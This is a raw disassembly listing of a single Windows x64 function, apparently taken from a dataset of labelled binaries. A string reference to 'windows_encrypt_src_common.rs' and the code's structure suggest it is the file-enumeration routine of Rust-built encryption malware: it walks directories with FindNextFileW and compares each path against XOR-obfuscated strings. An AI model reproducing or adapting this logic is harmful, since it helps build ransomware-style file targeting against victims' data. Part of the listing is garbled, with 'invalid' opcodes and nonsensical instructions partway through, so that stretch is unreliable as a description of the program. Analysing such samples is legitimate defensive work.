Function at 0x140011ca7
Capabilities:
Check if file exists
Encode data using xor
Enumerate files on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xd68
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0xcd0], xmm6
mov qword [rbp + 0xcc8], 0xfffffffffffffffe
lea rsi, [rbp + 0x9a8]
mov qword [rsi], rcx
mov qword [rbp + 0xc58], rdx
mov qword [rbp + 0xc20], r8
lea rdi, [rbp + 0xbf0]
mov qword [rdi], 0
xorps xmm0, xmm0
movups xmmword [rdi + 0x10], xmm0
mov qword [rdi + 8], 8
lea rbx, str.windows_encrypt_src_common.rs
lea r14, [rbp + 0x6c8]
movabs r13, 0x8000000000000000
mov rcx, r14
mov rdx, rsi
mov r8, rbx
call fcn.14000357c
cmp qword [rbp + 0x6c8], r13
je 0x140011d45
mov rcx, rdi
mov rdx, r14
call fcn.1400023b4
jmp 0x140011d21
mov rdx, qword [rbp + 0xc08]
test rdx, rdx
je 0x140013984
xorps xmm6, xmm6
lea r14, [rbp + 0x470]
lea r12, [rbp + 0x9d0]
mov rax, qword [rbp + 0xc00]
lea r8, [rax + 1]
mov rbx, qword [rbp + 0xbf0]
mov rcx, qword [rbp + 0xbf8]
cmp r8, rbx
mov r8, rbx
mov r9d, 0
cmovb r8, r9
neg r8
add r8, rax
inc r8
mov qword [rbp + 0xc00], r8
dec rdx
mov qword [rbp + 0xc08], rdx
shl rax, 5
mov r8, qword [rcx + rax]
cmp r8, r13
je 0x140013aa1
mov rdx, qword [rcx + rax + 8]
mov qword [rbp + 0xc48], rdx
mov rsi, qword [rcx + rax + 0x10]
mov rbx, qword [rcx + rax + 0x18]
test rsi, rsi
mov qword [rbp + 0xc28], r8
je 0x140011f62
js 0x140013b0b
mov al, byte [0x14009e330]
xor ecx, ecx
mov rdx, rsi
call fcn.14005ea40
test rax, rax
je 0x140013b10
mov qword [rbp + 0xcb8], rax
mov rcx, rax
mov r15, qword [rbp + 0xc48]
mov rdx, r15
mov r8, rsi
call fcn.1400712b0
mov al, byte [0x14009e330]
xor ecx, ecx
mov rdx, rsi
call fcn.14005ea40
test rax, rax
je 0x140013b1d
mov rdi, rax
mov rcx, rax
mov rdx, r15
mov r8, rsi
call fcn.1400712b0
mov qword [rbp + 0x6c8], rsi
mov qword [rbp + 0x6d0], rdi
mov qword [rbp + 0x6d8], rsi
mov byte [rbp + 0x6e0], 0
mov r8d, 1
lea rcx, [rbp + 0x6c8]
lea rdx, str.fatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
call fcn.14005bd00
mov rax, qword [rbp + 0x6c8]
mov qword [rbp + 0xc68], rax
mov rdx, qword [rbp + 0x6d0]
mov r8, qword [rbp + 0x6d8]
mov byte [rbp + 0xcc6], 1
mov rcx, r14
mov qword [rbp + 0xc30], rdx
call fcn.1400558c0
mov rax, qword [rbp + 0x470]
mov rdi, qword [rbp + 0x478]
cmp rax, r13
je 0x140011f0b
mov rcx, qword [rbp + 0x480]
mov qword [rbp + 0x6c8], rax
mov qword [rbp + 0x6d0], rdi
mov qword [rbp + 0x6d8], rcx
mov byte [rbp + 0xcc6], 1
mov rcx, r12
lea rdx, [rbp + 0x6c8]
call fcn.14005b610
mov r14, qword [rbp + 0x9d0]
mov r15, qword [rbp + 0x9d8]
cmp r14, r13
jne 0x140013766
mov rdi, r15
mov r15b, 1
mov r14d, 2
cmp qword [rbp + 0xc68], 0
je 0x140011f34
mov rcx, qword [0x14009e2b0]
xor edx, edx
mov r8, qword [rbp + 0xc30]
call qword [sym.imp.kernel32.dll_HeapFree]
test r15b, r15b
je 0x140011f4f
mov rcx, qword [0x14009e2b0]
xor edx, edx
mov r8, qword [rbp + 0xcb8]
call qword [sym.imp.kernel32.dll_HeapFree]
cmp r14d, 2
jne 0x140012089
lea r14, [rbp + 0x470]
jmp 0x140011f6c
movabs rdi, 0x300000002
mov qword [rbp - 0x58], rdi
mov dword [rbp - 0x48], 2
lea rcx, [rbp + 0x6c8]
mov rdx, qword [rbp + 0xc48]
mov r8, rsi
call fcn.140061960
cmp dword [rbp + 0x6c8], 2
jne 0x140011fa7
mov rcx, qword [rbp + 0x6d0]
call fcn.14002401a
xor r8d, r8d
jmp 0x140011fae
mov r8, qword [rbp + 0x700]
mov rdi, qword [rbp + 0xc48]
mov rcx, rdi
mov rdx, rsi
call fcn.1400270e1
mov rcx, qword [rbp + 0xc28]
mov qword [rbp + 0x6c8], rcx
mov qword [rbp + 0x6d0], rdi
mov qword [rbp + 0x6d8], rsi
mov qword [rbp + 0x6e0], rbx
mov byte [rbp + 0x6e8], al
lea rcx, [rbp + 0x210]
lea rdx, [rbp + 0xc58]
lea r8, [rbp + 0x6c8]
call fcn.14000346e
mov rax, qword [rbp + 0x210]
mov esi, 2
cmp rax, r13
je 0x140012032
test rax, rax
je 0x140012032
mov r8, qword [rbp + 0x218]
mov rcx, qword [0x14009e2b0]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov esi, dword [rbp - 0x48]
movabs rax, 0x8000000000000003
mov qword [rbp + 0x6c8], rax
lea rdi, [rbp + 0x210]
mov rcx, rdi
lea rdx, [rbp + 0xc20]
lea r8, [rbp + 0x6c8]
call fcn.140003360
mov rcx, rdi
call fcn.140001d15
cmp esi, 2
jne 0x14001207b
mov rcx, qword [rbp - 0x58]
call fcn.14002401a
jmp 0x140013901
lea rcx, [rbp - 0x58]
call fcn.140001e19
jmp 0x140013901
mov qword [rbp - 0x58], rdi
mov rax, qword [rbp + 0xc10]
mov qword [rbp - 0x50], rax
mov dword [rbp - 0x48], r14d
mov r8d, 0x250
lea rcx, [rbp - 0x44]
lea rdx, [rbp + 0x210]
call fcn.1400712b0
mov r8d, 0x268
lea rcx, [rbp + 0x6c8]
lea rdx, [rbp - 0x58]
call fcn.1400712b0
mov rsi, qword [rbp + 0x6d0]
cmp rsi, 0xffffffffffffffff
je 0x1400138ba
mov eax, dword [rbp + 0x6d8]
movzx ebx, word [rbp + 0x708]
movzx r13d, word [rbp + 0x70a]
movzx r15d, word [rbp + 0x70c]
mov dword [rbp + 0x6d8], 0
cmp eax, 1
jne 0x140012131
mov rdi, qword [rbp + 0x6c8]
cmp bx, 0x2e
jne 0x1400121e5
test r13w, r13w
je 0x140012131
cmp r13w, 0x2e
jne 0x1400121e5
test r15w, r15w
jne 0x1400121e5
mov r8d, 0x250
lea r14, [rbp + 0x470]
mov rcx, r14
xor edx, edx
call fcn.140071950
mov rcx, rsi
mov rdx, r14
mov rbx, qword [sym.imp.kernel32.dll_FindNextFileW]
call rbx
test eax, eax
lea r15, [rbp + 0x218]
je 0x1400121a7
mov rdi, qword [rbp + 0x6c8]
cmp word [rbp + 0x49c], 0x2e
jne 0x140012236
movzx eax, word [rbp + 0x49e]
test ax, ax
je 0x14001219b
cmp ax, 0x2e
jne 0x140012236
cmp word [rbp + 0x4a0], 0
jne 0x140012236
mov rcx, rsi
mov rdx, r14
call rbx
test eax, eax
jne 0x140012169
mov rsi, qword [sym.imp.kernel32.dll_GetLastError]
call rsi
cmp eax, 0x12
je 0x1400138b0
call rsi
mov esi, eax
shl rsi, 0x20
or rsi, 2
mov r12b, 1
xor edi, edi
movzx ebx, word [rbp + 0xc40]
movzx r13d, word [rbp + 0xc64]
movzx ecx, word [rbp + 0xc66]
jmp 0x1400122e5
lock inc qword [rdi]
jle 0x140013b86
mov rsi, qword [rbp + 0x6dc]
lea rdx, [rbp + 0x70e]
movups xmm0, xmmword [rdx - 0x2a]
movups xmm1, xmmword [rdx - 0x1a]
movaps xmmword [rbp + 0x960], xmm0
movaps xmmword [rbp + 0x970], xmm1
mov eax, dword [rdx - 0xa]
mov dword [rbp + 0x980], eax
mov r8d, 0x21e
mov rcx, r12
call fcn.1400712b0
test rdi, rdi
mov rdx, r12
sete r12b
jmp 0x14001229e
lock inc qword [rdi]
jle 0x140013b86
mov rsi, qword [rbp + 0x470]
lea rax, [rbp + 0x478]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x960], xmm0
movaps xmmword [rbp + 0x970], xmm1
mov eax, dword [rax + 0x20]
mov dword [rbp + 0x980], eax
movzx ebx, word [rbp + 0x49c]
movzx r13d, word [rbp + 0x49e]
movzx r15d, word [rbp + 0x4a0]
mov r8d, 0x21e
mov rcx, r12
lea rdx, [rbp + 0x4a2]
call fcn.1400712b0
mov rdx, r12
xor r12d, r12d
mov eax, dword [rbp + 0x980]
mov dword [rbp + 0xc90], eax
movaps xmm0, xmmword [rbp + 0x960]
movaps xmm1, xmmword [rbp + 0x970]
movaps xmmword [rbp + 0xc80], xmm1
movaps xmmword [rbp + 0xc70], xmm0
mov r8d, 0x21e
lea r14, [rbp + 0x470]
mov rcx, r14
call fcn.1400712b0
mov ecx, r15d
lea r15, [rbp + 0x218]
mov qword [rbp + 0x218], rdi
mov qword [rbp + 0x220], rsi
mov eax, dword [rbp + 0xc90]
mov dword [r15 + 0x30], eax
movaps xmm0, xmmword [rbp + 0xc70]
movaps xmm1, xmmword [rbp + 0xc80]
movups xmmword [r15 + 0x20], xmm1
movups xmmword [r15 + 0x10], xmm0
mov word [rbp + 0xc40], bx
mov word [rbp + 0x24c], bx
mov word [rbp + 0xc64], r13w
mov word [rbp + 0x24e], r13w
mov word [rbp + 0xc66], cx
mov word [rbp + 0x250], cx
mov r8d, 0x21e
lea rcx, [rbp + 0x252]
mov rdx, r14
call fcn.1400712b0
mov qword [rbp + 0x210], 1
test r12b, r12b
jne 0x140013814
mov r8d, 0x258
mov rcx, r14
mov rdx, r15
call fcn.1400712b0
mov rax, qword [rbp + 0x470]
mov rdi, qword [rax + 0x18]
mov rsi, qword [rax + 0x20]
mov ecx, 0x104
lea rdx, [rbp + 0x4a4]
mov rax, rdx
lea r12, [rbp + 0x9d0]
movabs r13, 0x8000000000000000
cmp word [rax], 0
je 0x14001247b
cmp word [rax + 2], 0
je 0x140012453
cmp word [rax + 4], 0
je 0x140012459
cmp word [rax + 6], 0
je 0x14001245f
cmp word [rax + 8], 0
je 0x140012465
cmp word [rax + 0xa], 0
je 0x14001246b
cmp word [rax + 0xc], 0
je 0x140012471
cmp word [rax + 0xe], 0
je 0x140012477
add rcx, 0xfffffffffffffff8
add rax, 0x10
cmp rcx, 7
ja 0x1400123aa
cmp word [rbp + 0x6a4], 0
lea rax, [rbp + 0x6a4]
je 0x14001247b
cmp word [rbp + 0x6a6], 0
lea rax, [rbp + 0x6a6]
je 0x14001247b
cmp word [rbp + 0x6a8], 0
lea rax, [rbp + 0x6a8]
je 0x14001247b
mov r8d, 0x104
cmp word [rbp + 0x6aa], 0
lea rax, [rbp + 0x6aa]
jne 0x140012490
jmp 0x14001247b
add rax, 2
jmp 0x14001247b
add rax, 4
jmp 0x14001247b
add rax, 6
jmp 0x14001247b
add rax, 8
jmp 0x14001247b
add rax, 0xa
jmp 0x14001247b
add rax, 0xc
jmp 0x14001247b
add rax, 0xe
sub rax, rdx
mov r8, rax
shr r8, 1
cmp rax, 0x20a
jae 0x140013adb
lea rcx, [rbp + 0xc70]
call fcn.1400579b0
mov rax, qword [rbp + 0xc78]
mov qword [rbp + 0xc68], rax
mov rbx, qword [rbp + 0xc80]
test rsi, rsi
je 0x1400124d9
js 0x140013af2
mov al, byte [0x14009e330]
xor ecx, ecx
mov rdx, rsi
call fcn.14005ea40
mov r14, rax
test rax, rax
jne 0x1400124df
jmp 0x140013afc
mov r14d, 1
mov rcx, r14
mov rdx, rdi
mov r8, rsi
call fcn.1400712b0
mov qword [rbp + 0x9d0], rsi
mov qword [rbp + 0x9d8], r14
mov qword [rbp + 0x9e0], rsi
mov byte [rbp + 0x9e8], 0
mov rcx, r12
mov rdx, qword [rbp + 0xc68]
mov r8, rbx
call fcn.14005bd00
mov rax, qword [rbp + 0x9d0]
mov qword [rbp + 0xcb8], rax
mov rsi, qword [rbp + 0x9d8]
mov rbx, qword [rbp + 0x9e0]
mov rax, qword [rbp + 0x9e8]
mov qword [rbp + 0xc18], rax
cmp qword [rbp + 0xc70], 0
je 0x140012565
mov rcx, qword [0x14009e2b0]
xor edx, edx
mov r8, qword [rbp + 0xc68]
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, r12
mov rdx, rsi
mov r8, rbx
call fcn.140061960
cmp dword [rbp + 0x9d0], 2
jne 0x140012596
mov rcx, qword [rbp + 0x9d8]
call fcn.14002401a
xor eax, eax
mov qword [rbp + 0xc68], rax
jmp 0x140012eb0
mov r8, qword [rbp + 0xa08]
mov eax, dword [rbp + 0xa10]
bt eax, 0xa
jae 0x1400125fc
mov ecx, dword [rbp + 0xa14]
mov edx, 0x20000000
and ecx, edx
je 0x1400125fc
mov qword [rbp + 0xc68], r8
lea rcx, [rbp + 0x9b0]
mov rdx, rsi
mov r8, rbx
call fcn.140061cb0
mov rax, r13
mov r13, qword [rbp + 0x9b0]
mov rdi, qword [rbp + 0x9b8]
cmp r13, rax
jne 0x14001260c
mov rdx, rdi
mov r14, rbx
mov rdi, rsi
mov r13, qword [rbp + 0xcb8]
jmp 0x140012e8a
test al, 0x10
jne 0x14001265a
mov qword [rbp + 0xc68], r8
jmp 0x140012eb0
mov r14, qword [rbp + 0x9c0]
mov rcx, r12
mov rdx, rsi
mov r8, rbx
call fcn.140057e90
mov r12b, byte [rbp + 0x9d0]
mov rcx, qword [rbp + 0x9e0]
mov rax, qword [rbp + 0x9f0]
movzx edx, r12b
lea r8, [0x14008da18]
movsxd r9, dword [r8 + rdx*4]
add r9, r8
mov rdx, rbx
mov r8, rsi
jmp r9
add rcx, 4
jmp 0x140012b64
mov rcx, rsi
mov rdx, rbx
call fcn.14005d960
test rax, rax
je 0x140012af2
mov rdi, rax
mov r14, rdx
lea rax, [0x14006d8ba]
mov qword [rbp + 0x9d0], rax
mov rcx, qword [rbp + 0x9d0]
movabs rax, 0xf77668127e74a1a0
mov qword [rbp + 0x9d0], rax
mov rdx, qword [rbp + 0x9d0]
call fcn.140003f34
mov rcx, qword [rax]
movabs rdx, 0xd70480c845dde571
xor rcx, rdx
mov eax, dword [rax + 8]
mov edx, 0xa4a9cb86
xor eax, edx
mov qword [rbp + 0x9d0], rcx
mov dword [rbp + 0x9d8], eax
mov r9d, 0xc
mov rcx, rdi
mov rdx, r14
mov r8, r12
call fcn.140025aac
test al, al
jne 0x140013650
lea rax, [0x140072a64]
mov qword [rbp + 0x9d0], rax
mov rcx, qword [rbp + 0x9d0]
movabs rax, 0x26c1512f75095acd
mov qword [rbp + 0x9d0], rax
mov rdx, qword [rbp + 0x9d0]
call fcn.14000392e
mov eax, dword [rax]
mov ecx, 0xf3e0603
xor eax, ecx
mov dword [rbp + 0xc70], eax
mov r9d, 4
mov rcx, rdi
mov rdx, r14
lea r8, [rbp + 0xc70]
call fcn.140025aac
test al, al
jne 0x140013650
lea rax, [0x140075d2e]
mov qword [rbp + 0x9d0], rax
mov rcx, qword [rbp + 0x9d0]
movabs rax, 0xe799e1b7ff97046b
mov qword [rbp + 0x9d0], rax
mov rdx, qword [rbp + 0x9d0]
call fcn.140004b6f
movaps xmmword [rbp + 0x9d0], xmm6
mov qword [rbp + 0x9e0], 0
mov rcx, 0xfffffffffffffff8
lea r8, [0x1400788c0]
mov rdx, qword [rcx + r8 + 8]
xor rdx, qword [rax + rcx + 8]
mov qword [rbp + rcx + 0x9d8], rdx
add rcx, 8
cmp rcx, 0x10
jb 0x14001279c
mov al, byte [rax + 0x18]
xor al, 0xa4
mov byte [rbp + 0x9e8], al
movaps xmm0, xmmword [rbp + 0x9d0]
movaps xmmword [rbp + 0xc70], xmm0
mov rax, qword [rbp + 0x9d9]
mov qword [rbp + 0xc79], rax
mov eax, dword [rbp + 0x9e1]
mov dword [rbp + 0xc81], eax
movzx eax, word [rbp + 0x9e5]
mov word [rbp + 0xc85], ax
mov al, byte [rbp + 0x9e7]
mov byte [rbp + 0xc87], al
mov al, byte [rbp + 0x9e8]
mov byte [rbp + 0xc88], al
mov r9d, 0x19
mov rcx, rdi
mov rdx, r14
lea r8, [rbp + 0xc70]
call fcn.140025aac
test al, al
jne 0x140013650
lea rax, [0x140073e75]
mov qword [rbp + 0x9d0], rax
mov rcx, qword [rbp + 0x9d0]
movabs rax, 0xcfeb87fc53b87fcd
mov qword [rbp + 0x9d0], rax
mov rdx, qword [rbp + 0x9d0]
call fcn.140003916
mov eax, dword [rax]
mov ecx, 0x771d39c4
xor eax, ecx
mov dword [rbp + 0xc70], eax
mov r9d, 4
mov rcx, rdi
mov rdx, r14
lea r8, [rbp + 0xc70]
call fcn.140025aac
test al, al
jne 0x140013650
lea rax, [0x14007207a]
mov qword [rbp + 0x9d0], rax
mov rcx, qword [rbp + 0x9d0]
movabs rax, 0xafad4e2fed6d8c3e
mov qword [rbp + 0x9d0], rax
mov rdx, qword [rbp + 0x9d0]
call fcn.140004624
mov ecx, dword [rax]
mov edx, 0xe9eb9513
xor rcx, rdx
mov al, byte [rax + 4]
xor al, 0x57
mov byte [rbp + 0xc74], al
mov dword [rbp + 0xc70], ecx
mov r9d, 5
mov rcx, rdi
mov rdx, r14
lea r8, [rbp + 0xc70]
call fcn.140025aac
test al, al
jne 0x140013650
lea rax, [0x14006e826]
mov qword [rbp + 0x9d0], rax
mov rcx, qword [rbp + 0x9d0]
movabs rax, 0xd098aba2e28ba597
mov qword [rbp + 0x9d0], rax
mov rdx, qword [rbp + 0x9d0]
call fcn.1400049be
movzx ecx, byte [rax + 2]
movzx eax, word [rax]
xor eax, 0x1cb0
xor cl, 0x65
mov byte [rbp + 0xc72], cl
mov word [rbp + 0xc70], ax
mov r9d, 3
mov rcx, rdi
mov rdx, r14
lea r8, [rbp + 0xc70]
call fcn.140025aac
test al, al
jne 0x140013650
lea rax, [0x140068faa]
mov qword [rbp + 0xc70], rax
lea rax, [rbp + 0xc70]
mov rcx, qword [rbp + 0xc70]
movabs rdx, 0xf48591f5fa5cde0e
mov qword [rbp + 0xc70], rdx
mov rdx, qword [rbp + 0xc70]
call fcn.140004b52
mov rcx, qword [rax]
movabs rdx, 0x81e7fb80dc35d81b
xor rcx, rdx
movzx edx, byte [rax + 0xa]
movzx eax, word [rax + 8]
xor eax, 0x5dab
xor dl, 0x6f
mov qword [rbp + 0x9d0], rcx
mov word [rbp + 0x9d8], ax
mov byte [rbp + 0x9da], dl
mov r9d, 0xb
mov rcx, rdi
mov rdx, r14
mov r8, r12
call fcn.140025aac
test al, al
jne 0x140013650
lea rax, [0x140076e33]
mov qword [rbp + 0x9d0], rax
mov rcx, qword [rbp + 0x9d0]
movabs rax, 0x6bd423b52618244f
mov qword [rbp + 0x9d0], rax
mov rdx, qword [rbp + 0x9d0]
call fcn.1400038ea
mov ecx, dword [rax]
movzx edx, byte [rax + 6]
movzx eax, word [rax + 4]
xor eax, 0xfa72
xor dl, 0x38
movzx edx, dl
mov byte [rbp + 0xc76], dl
shl rdx, 0x30
shl rax, 0x20
or rax, rdx
xor ecx, 0xf4dc6059
mov dword [rbp + 0xc70], ecx
shr rax, 0x20
mov word [rbp + 0xc74], ax
mov r9d, 7
mov rcx, rdi
mov rdx, r14
lea r8, [rbp + 0xc70]
call fcn.140025aac
test al, al
jne 0x140013650
lea rax, [0x1400768b7]
mov qword [rbp + 0x9d0], rax
mov rcx, qword [rbp + 0x9d0]
movabs rax, 0xaa7ac0685046ebaa
mov qword [rbp + 0x9d0], rax
mov rdx, qword [rbp + 0x9d0]
call fcn.140003e86
mov ecx, dword [rax]
mov edx, 0x9c95e9e0
xor rcx, rdx
mov al, byte [rax + 4]
xor al, 0xb4
mov byte [rbp + 0xc74], al
mov dword [rbp + 0xc70], ecx
mov r9d, 5
mov rcx, rdi
mov rdx, r14
lea r8, [rbp + 0xc70]
call fcn.140025aac
test al, al
jne 0x140013650
mov rax, qword [rbp + 0xcb8]
mov qword [rbp + 0x9d0], rax
mov qword [rbp + 0x9d8], rsi
mov qword [rbp + 0x9e0], rbx
mov rax, qword [rbp + 0xc18]
mov qword [rbp + 0x9e8], rax
lea rcx, [rbp + 0xbf0]
mov rdx, r12
call fcn.1400023b4
jmp 0x14001366e
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 8
jmp 0x140012b64
mov ecx, 6
jmp 0x140012b64
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
jmp 0x140012b64
mov ecx, 2
mov rdx, rbx
sub rdx, rcx
jb 0x140013b33
add rcx, rsi
mov r8, rcx
test rdx, rdx
je 0x140012b8e
mov al, byte [r8]
cmp al, 0x2f
sete cl
cmp al, 0x5c
sete r15b
or r15b, cl
jmp 0x140012b91
xor r15d, r15d
lea rcx, [rbp + 0x9d1]
mov rax, qword [rcx + 0x1f]
mov qword [rbp + 0x94f], rax
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rbp + 0x940], xmm1
movaps xmmword [rbp + 0x930], xmm0
lea rcx, [rbp + 0x9d0]
mov rdx, rdi
mov r8, r14
call fcn.140057e90
movzx eax, byte [rbp + 0x9d0]
mov rcx, qword [rbp + 0x9e0]
mov rdx, qword [rbp + 0x9f0]
xchg ebp, eax
lock or dword [rax], eax
add byte [rbp + rcx*4 + 5], cl
lea eax, [0x14008da34]
xchg ebp, eax
lock or dword [rax], eax
add byte [rbp + rcx*4 + 5], cl
invalid
invalid
scasb al, byte [rdi]
invalid
lea eax, [0x14008da34]
movsxd r9, dword [r8 + rax*4]
add r9, r8
mov rax, r14
mov r8, rdi
jmp r9
jmp rcx
jmp rcx
add rcx, 4
jmp 0x140012c30
invalid
xor al, 0x48
lea eax, [rdx + 1]
lea rax, [rdx + 1]
test rdx, rdx
cmove rax, rdx
add rcx, rax
add rcx, 8
jmp 0x140012c30
invalid
and byte [rcx + 6], bh
mov ecx, 6
jmp 0x140012c30
lea rax, [rdx + 1]
test rdx, rdx
cmove rax, rdx
add rcx, rax
add rcx, 2
add ecx, 2
add ecx, 2
jmp 0x140012c30
mov ecx, 2
mov rax, r14
sub rax, rcx
jb 0x140013b42
add rcx, rdi
mov r8, rcx
test rax, rax
je 0x140012c58
mov al, byte [r8]
cmp al, 0x2f
sete cl
cmp al, 0x5c
sete al
or al, cl
jmp 0x140012c5a
xor eax, eax
mov qword [rbp + 0x960], rdi
mov qword [rbp + 0x968], r14
mov rcx, qword [rbp + 0x9f0]
lea rdx, [rbp + 0x970]
mov qword [rdx + 0x20], rcx
movups xmm0, xmmword [rbp + 0x9d0]
movups xmm1, xmmword [rbp + 0x9e0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx], xmm0
mov byte [rbp + 0x99a], al
mov word [rbp + 0x998], 0x200
mov al, 2
xor ecx, ecx
mov rdx, rsi
cmp r12b, 6
je 0x140012cd5
mov r8, qword [rbp + 0x94f]
mov qword [rbp + 0x9ef], r8
movaps xmm0, xmmword [rbp + 0x930]
movaps xmm1, xmmword [rbp + 0x940]
movaps xmmword [rbp + 0x9e0], xmm1
movaps xmmword [rbp + 0x9d0], xmm0
mov qword [rbp + 0xc70], rdx
mov qword [rbp + 0xc78], rbx
mov byte [rbp + 0xc80], r12b
mov rdx, qword [rbp + 0x9ef]
lea r8, [rbp + 0xc81]
mov qword [r8 + 0x1f], rdx
movaps xmm0, xmmword [rbp + 0x9d0]
movaps xmm1, xmmword [rbp + 0x9e0]
movups xmmword [r8 + 0x10], xmm1
movups xmmword [r8], xmm0
mov byte [rbp + 0xcaa], r15b
mov byte [rbp + 0xca8], cl
mov byte [rbp + 0xca9], al
lea r12, [rbp + 0x9d0]
mov rcx, r12
lea rdx, [rbp + 0xc70]
call fcn.140058330
lea rcx, [rbp + 0xa08]
lea rdx, [rbp + 0x960]
call fcn.140058330
mov al, byte [rbp + 0xa08]
cmp byte [rbp + 0x9d0], 0xa
je 0x140012dcd
cmp al, 0xa
je 0x140012dd1
mov rcx, r12
lea rdx, [rbp + 0xa08]
call fcn.1400586f0
test al, al
je 0x140012e2b
mov rdx, qword [rbp + 0xc70]
mov rbx, qword [rbp + 0xc78]
mov r12b, byte [rbp + 0xc80]
lea rax, [rbp + 0xc81]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x930], xmm0
movaps xmmword [rbp + 0x940], xmm1
mov rax, qword [rax + 0x1f]
mov qword [rbp + 0x94f], rax
mov cl, byte [rbp + 0xca8]
mov al, byte [rbp + 0xca9]
mov r15b, byte [rbp + 0xcaa]
jmp 0x140012ca5
cmp al, 0xa
jne 0x140012e2b
cmp r15b, 2
lea r15, [rbp + 0x218]
je 0x140012e32
test r13, r13
movabs r13, 0x8000000000000000
mov rbx, qword [rbp + 0xcb8]
je 0x140013657
mov rcx, qword [0x14009e2b0]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x9b0], r13
jne 0x140013657
mov rdx, qword [rbp + 0x9b8]
mov rcx, r13
call fcn.14000216d
jmp 0x140013657
lea r15, [rbp + 0x218]
mov rax, qword [rbp + 0x9c8]
mov qword [rbp + 0x9d0], rax
mov rax, r13
cmp qword [rbp + 0xcb8], 0
je 0x140012e66
mov rcx, qword [0x14009e2b0]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbp + 0x9b0]
mov rcx, qword [rbp + 0x9d0]
mov qword [rbp + 0xc18], rcx
movabs rcx, 0x8000000000000000
cmp rax, rcx
jne 0x140012e99
mov rdx, qword [rbp + 0x9b8]
movabs rcx, 0x8000000000000000
call fcn.14000216d
mov rbx, r14
mov rsi, rdi
mov qword [rbp + 0xcb8], r13
movabs r13, 0x8000000000000000
mov rcx, rsi
mov rdx, rbx
call fcn.14005d960
test rax, rax
je 0x14001341c
mov r14, rax
mov rdi, rdx
lea rax, [0x140071880]
mov qword [rbp + 0x9d0], rax
mov rcx, qword [rbp + 0x9d0]
movabs rax, 0x14ed2d54a7d0d4a4
mov qword [rbp + 0x9d0], rax
mov rdx, qword [rbp + 0x9d0]
call fcn.140004b02
mov rcx, qword [rax]
movabs rdx, 0x175ab3385a96b256
xor rcx, rdx
movzx edx, byte [rax + 0xa]
movzx eax, word [rax + 8]
xor eax, 0xe766
xor dl, 0x8f
mov qword [rbp + 0x9d0], rcx
mov word [rbp + 0x9d8], ax
mov byte [rbp + 0x9da], dl
mov r9d, 0xb
mov rcx, r14
mov rdx, rdi
mov r8, r12
call fcn.140025aac
test al, al
jne 0x140013650
lea rax, [0x140075fe0]
mov qword [rbp + 0xc70], rax
lea rax, [rbp + 0xc70]
mov rcx, qword [rbp + 0xc70]
movabs rdx, 0xb742cc53cda1df2b
mov qword [rbp + 0xc70], rdx
mov rdx, qword [rbp + 0xc70]
call fcn.1400047ea
mov rcx, qword [rax]
movabs rdx, 0x8704d5d701e1659e
xor rcx, rdx
mov eax, dword [rax + 8]
mov edx, 0xaa795a08
xor eax, edx
mov qword [rbp + 0x9d0], rcx
mov dword [rbp + 0x9d8], eax
mov r9d, 0xc
mov rcx, r14
mov rdx, rdi
mov r8, r12
call fcn.140025aac
test al, al
jne 0x140013650
lea rax, [0x14007160b]
mov qword [rbp + 0x9d0], rax
mov rcx, qword [rbp + 0x9d0]
movabs rax, 0x75197aa32649268f
mov qword [rbp + 0x9d0], rax
mov rdx, qword [rbp + 0x9d0]
call fcn.140004440
mov rax, qword [rax]
movabs rcx, 0xf5e5667846c5f54e
xor rax, rcx
mov qword [rbp + 0xc70], rax
mov r9d, 8
mov rcx, r14
mov rdx, rdi
lea r8, [rbp + 0xc70]
call fcn.140025aac
test al, al
jne 0x140013650
lea rax, [0x140075fbc]
mov qword [rbp + 0xc70], rax
lea rax, [rbp + 0xc70]
mov rcx, qword [rbp + 0xc70]
movabs rdx, 0x996f7e2cfaf4b60f
mov qword [rbp + 0xc70], rdx
mov rdx, qword [rbp + 0xc70]
call fcn.1400048c6
mov rcx, qword [rax]
movabs rdx, 0xd63059a52c220fea
xor rcx, rdx
mov eax, dword [rax + 8]
mov edx, 0x7d9673c7
xor eax, edx
mov qword [rbp + 0x9d0], rcx
mov dword [rbp + 0x9d8], eax
mov r9d, 0xc
mov rcx, r14
mov rdx, rdi
mov r8, r12
call fcn.140025aac
test al, al
jne 0x140013650
lea rax, [0x1400725f3]
mov qword [rbp + 0xc70], rax
lea rax, [rbp + 0xc70]
mov rcx, qword [rbp + 0xc70]
movabs rdx, 0xb96ec70fbe1e6c00
mov qword [rbp + 0xc70], rdx
mov rdx, qword [rbp + 0xc70]
call fcn.14000486a
mov rcx, qword [rax]
movabs rdx, 0x5b41e298bfcb1f85
xor rcx, rdx
movzx edx, byte [rax + 0xa]
movzx eax, word [rax + 8]
xor eax, 0xf331
xor dl, 0x48
mov qword [rbp + 0x9d0], rcx
mov word [rbp + 0x9d8], ax
mov byte [rbp + 0x9da], dl
mov r9d, 0xb
mov rcx, r14
mov rdx, rdi
mov r8, r12
call fcn.140025aac
test al, al
jne 0x140013650
lea rax, [0x1400710c0]
mov qword [rbp + 0xc70], rax
lea rax, [rbp + 0xc70]
mov rcx, qword [rbp + 0xc70]
movabs rdx, 0x36e6b7c75d9612bf
mov qword [rbp + 0xc70], rdx
mov rdx, qword [rbp + 0xc70]
call fcn.140003f5d
mov rcx, qword [rax]
movabs rdx, 0x7a7465f193d5ca92
xor rcx, rdx
mov eax, dword [rax + 8]
mov edx, 0x2f8dec14
xor eax, edx
mov qword [rbp + 0x9d0], rcx
mov dword [rbp + 0x9d8], eax
mov r9d, 0xc
mov rcx, r14
mov rdx, rdi
mov r8, r12
call fcn.140025aac
test al, al
